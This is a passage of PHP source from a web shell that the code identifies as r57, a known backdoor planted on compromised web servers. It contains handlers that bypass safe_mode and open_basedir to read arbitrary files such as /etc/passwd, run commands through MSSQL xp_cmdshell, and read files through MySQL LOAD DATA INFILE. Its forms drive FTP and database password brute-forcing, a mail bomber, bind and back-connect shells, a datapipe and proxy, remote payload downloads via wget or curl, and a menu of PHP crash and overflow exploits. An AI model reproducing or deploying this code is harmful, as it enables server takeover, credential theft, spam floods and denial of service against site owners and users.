NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; $prevD3 = $D[count($D)-1]; @glob($path."*"); if($D[count($D)-1] != $prevD3) { for($r=0;$r <strlen($chars);$r++) { $path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; @glob($path."*"); } } } } } } } $D = array_unique($D); foreach($D as $item) echo htmlspecialchars("{$item}")."
652"; error_reporting($error_reporting); } else echo $lang[$language.'_text29']; break; case 'test1': $ci = @curl_init("file://".$_POST['test1_file']); $cf = @curl_exec($ci); echo htmlspecialchars($cf); break; case 'test2': @include($_POST['test2_file']); break; case 'test3': if(empty($_POST['test3_port'])) {$_POST['test3_port'] = "3306";} $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); if($db) { if(@mysql_select_db($_POST['test3_md'],$db)) { @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )"); @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table"); $r = @mysql_query("SELECT * FROM temp_r57_table"); while(($r_sql = @mysql_fetch_array($r))) {echo @htmlspecialchars($r_sql[0])."
653";} @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); } else echo "[-] ERROR! Can't select database"; @mysql_close($db); } else echo "[-] ERROR! Can't connect to mysql server"; break; case 'test4': if(empty($_POST['test4_port'])) {$_POST['test4_port'] = "1433";} $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); if($db) { if(@mssql_select_db($_POST['test4_md'],$db)) { @mssql_query("drop table r57_temp_table",$db); @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); $res = mssql_query("select * from r57_temp_table",$db); while(($row=@mssql_fetch_row($res))) { echo htmlspecialchars($row[0])."
654"; } @mssql_query("drop table r57_temp_table",$db); } else echo "[-] ERROR! Can't select database"; @mssql_close($db); } else echo "[-] ERROR! Can't connect to MSSQL server"; break; case 'test5': $temp=tempnam($dir,"fname"); if (@file_exists($temp)) @unlink($temp); $extra = "-C ".$_POST['test5_file']." -X $temp"; @mb_send_mail(NULL,NULL,NULL,NULL,$extra); $str = moreread($temp); echo htmlspecialchars($str); @unlink($temp); break; case 'test6': $stream = @imap_open('/etc/passwd',"",""); $dir_list = @imap_list($stream,trim($_POST['test6_file']),"*"); for ($i = 0;$i <count($dir_list);$i++) echo htmlspecialchars($dir_list[$i])."
655"; @imap_close($stream); break; case 'test7': $stream = @imap_open($_POST['test7_file'],"",""); $str = @imap_body($stream,1); echo htmlspecialchars($str); @imap_close($stream); break; case 'test8': $temp=@tempnam($_POST['test8_file2'],"copytemp"); $str = readzlib($_POST['test8_file1'],$temp); echo htmlspecialchars($str); @unlink($temp); break; case 'test9': @ini_restore("safe_mode"); @ini_restore("open_basedir"); $str = moreread($_POST['test9_file']); echo htmlspecialchars($str); break; case 'test10': @ob_clean(); $error_reporting = @ini_get('error_reporting'); error_reporting(E_ALL ^E_NOTICE); @ini_set("display_errors",1); $str=fopen($_POST['test10_file'],"r"); while(!feof($str)){print htmlspecialchars(fgets($str));} fclose($str); error_reporting($error_reporting); break; case 'test11': @ob_clean(); $temp = 'zip://'.$_POST['test11_file']; $str = moreread($temp); echo htmlspecialchars($str); break; case 'test12': @ob_clean(); $temp = 'compress.bzip2://'.$_POST['test12_file']; $str = moreread($temp); echo htmlspecialchars($str); break; case 'test13': @error_log($_POST['test13_file1'],3,"php://../../../../../../../../../../../".$_POST['test13_file2']); echo $lang[$language.'_text61']; break; case 'test14': @session_save_path($_POST['test14_file2']."($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14')); echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<?php phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); echo $te.'</div>'.$table_end1.$fe; } if(($safe_mode ||$open_basedir) &&@function_exists('readfile') &&@version_compare(@phpversion(),"5.2.2")<=0) { echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts; echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15')); echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<?php phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); echo $te.'</div>'.$table_end1.$fe; } if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.4")<=0) { echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts; echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."/test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if(($safe_mode ||$open_basedir) &&@function_exists('symlink') &&@version_compare(@phpversion(),"5.2.2")<=0) { echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts; echo "<tr><td valign=top width=70%>".$ts; echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); echo $te."</td><td valign=top width=30%>".$ts; echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe); echo $te."</td></tr>"; echo $te.'</div>'.$table_end1; } if(($safe_mode ||$open_basedir) &&@function_exists('symlink') &&@version_compare(@phpversion(),"5.2.2")<=0) { echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts; echo "<tr><td valign=top width=70%>".$ts; echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); echo $te."</td><td valign=top width=30%>".$ts; echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe); echo $te."</td></tr>"; echo $te.'</div>'.$table_end1; } if((!@function_exists('ini_get')) ||@ini_get('file_uploads')){ echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts; echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,'')); echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); echo $te.'</div>'.$table_end1.$fe; } if((!@function_exists('ini_get')) ||@ini_get('file_uploads')){ echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts; echo "<tr><td valign=top width=50%>".$ts; echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,'')); echo $te."</td><td valign=top width=50%>".$ts; echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,'')); echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,'')); echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); echo $te."</td></tr>"; echo $te.'</div>'.$table_end1.$fe; } $select=''; if((!@function_exists('ini_get')) ||(@ini_get('allow_url_fopen') &&@function_exists('fopen'))){$select = "<option value=\"fopen\">fopen</option>";} if(!$safe_mode){ if(which('wget')){$select .= "<option value=\"wget\">wget</option>";} if(which('fetch')){$select .= "<option value=\"fetch\">fetch</option>";} if(which('lynx')){$select .= "<option value=\"lynx\">lynx</option>";} if(which('links')){$select .= "<option value=\"links\">links</option>";} if(which('curl')){$select .= "<option value=\"curl\">curl</option>";} if(which('GET')){$select .= "<option value=\"GET\">GET</option>";} } if($select){ echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts; echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\">".$select ."</select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts; echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); $arh = $lang[$language.'_text92']; if(@function_exists('gzcompress')) {$arh .= in('radio','compress',0,'zip').' zip';} if(@function_exists('gzencode')) {$arh .= in('radio','compress',0,'gzip').' gzip';} if(@function_exists('bzcompress')) {$arh .= in('radio','compress',0,'bzip').' bzip';} echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); echo $te.'</div>'.$table_end1.$fe; if(@function_exists("ftp_connect")){ echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir)); echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root")))); echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic')))); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_po
656rt'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); echo $te."</td>".$fe."</tr></div></table>"; } if(@function_exists("mail")){ echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("")))); echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("")))); echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("")))); echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("")))); echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir)); echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>"; echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir)); echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>'); echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10))); echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); echo $te."</td>".$fe."</tr></div></table>"; } if($mysql_on||$mssql_on||$pg_on||$ora_on) { $select = '<select name=db>'; if($mysql_on) $select .= '<option>MySQL</option>'; if($mssql_on) $select .= '<option>MSSQL</option>'; if($pg_on) $select .= '<option>PostgreSQL</option>'; if($ora_on) $select .= '<option>Oracle</option>'; $select .= '</select>'; echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>"; echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute')); echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic')))); echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;
657SHOW TABLES;
658SELECT * FROM user;
659SELECT version();
660SELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>"; echo "</td>".$fe."</tr></div></table>"; } if(!$safe_mode &&$unix){ echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457')); echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57')); echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ?(getenv('REMOTE_ADDR')) : ("127.0.0.1")))); echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457')); echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru')); echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667')); echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>"; echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337')); echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); echo $te."</td>".$fe."</tr></div></table>"; } echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=50%>".$ts; echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit exhaustion in [ pack() ] function').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF in [ unserialize() ] function').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'Limit integer calculate (65535) in ZendEngine').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [ dl() ] vulnerability').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [ preg_match() ] exhaustion resources (PHP <5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Memory_limit exhaustion in [ str_repeat() ] function (PHP <4.4.5,5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload inodes from HD.I via [ tempnam() ] (PHP 4.4.2, 5.1.2)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF in [ wordwrap() ] function (PHP <4.4.2,5.1.2)').$fe); echo $te."</td><td valign=top width=50%>".$ts; echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF in [ array_fill() ] function (PHP <4.4.2,5.1.2)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF in [ substr_compare() ] function (PHP <4.4.2,5.1.2)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Array Creation in [ unserialize() ] 64 bit function (PHP <5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF in [ str_ireplace() ] function (PHP <5.2.x)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF in [ htmlentities() ] function (PHP <5.1.6,4.4.4)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'Integer Overflow in [ zip_entry_read() ] function (PHP <4.4.5)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF in [ sqlite_udf_decode_binary() ] function (PHP <4.4.5,5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'Memory Allocation BoF in [ msg_receive() ] function (PHP <4.4.5,5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'Off By One in [ php_stream_filter_create() ] function (PHP 5<5.2.1)').$fe); echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'Reference Counter Overflow in [ unserialize() ] function (PHP <4.4.4)').$fe); echo $te."</td></tr></div></table>";